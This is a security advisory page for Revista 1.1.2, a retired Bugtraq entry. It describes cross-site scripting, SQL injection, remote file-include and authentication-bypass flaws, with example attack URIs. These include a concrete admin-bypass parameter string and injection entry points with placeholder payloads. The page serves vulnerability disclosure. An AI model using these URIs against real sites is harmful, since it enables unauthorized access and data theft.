Retired: Revista Multiple Input Validation Vulnerabilities
BID:34505
Info
Retired: Revista Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 34505 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 13 2009 12:00AM |
| Updated: | Apr 15 2009 04:56PM |
| Credit: | Sirdarckcat |
| Vulnerable: |
Revista Revista 1.1.2 |
| Not Vulnerable: | |
Discussion
Retired: Revista Multiple Input Validation Vulnerabilities
Revista is prone to multiple input-validation vulnerabilities, including:
- Multiple cross-site scripting vulnerabilities
- A remote file-include vulnerability
- Multiple SQL-injection vulnerabilities
- An authentication-bypass vulnerability
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary PHP code within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database
Revista 1.1.2 is vulnerable; other versions may also be affected.
Note: These issues have been reported in BID 19818 (Revista Multiple Input Validation Vulnerabilities); therefore this BID is being retired.
Revista is prone to multiple input-validation vulnerabilities, including:
- Multiple cross-site scripting vulnerabilities
- A remote file-include vulnerability
- Multiple SQL-injection vulnerabilities
- An authentication-bypass vulnerability
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary PHP code within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database
Revista 1.1.2 is vulnerable; other versions may also be affected.
Note: These issues have been reported in BID 19818 (Revista Multiple Input Validation Vulnerabilities); therefore this BID is being retired.
Exploit / POC
Retired: Revista Multiple Input Validation Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
SQLi
http://www.example.com/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]
http://www.example.com/[ANY STYLE]/busqueda.php?cadena='+[SQL]
http://www.example.com/[ANY STYLE]/autor.php?id_autor=-1+[SQL]
http://www.example.com/[ANY STYLE]/lista.php?email='+[SQL]
http://www.example.com/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]
Credentials Bypass
http://www.example/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1
XSS:
http://www.example.com/[ANY STYLE]/busqueda.php?cadena=[XSS]
http://www.example.com/[ANY STYLE]/lista.php?email=[XSS]
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
SQLi
http://www.example.com/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]
http://www.example.com/[ANY STYLE]/busqueda.php?cadena='+[SQL]
http://www.example.com/[ANY STYLE]/autor.php?id_autor=-1+[SQL]
http://www.example.com/[ANY STYLE]/lista.php?email='+[SQL]
http://www.example.com/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]
Credentials Bypass
http://www.example/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1
XSS:
http://www.example.com/[ANY STYLE]/busqueda.php?cadena=[XSS]
http://www.example.com/[ANY STYLE]/lista.php?email=[XSS]
Solution / Fix
Retired: Revista Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].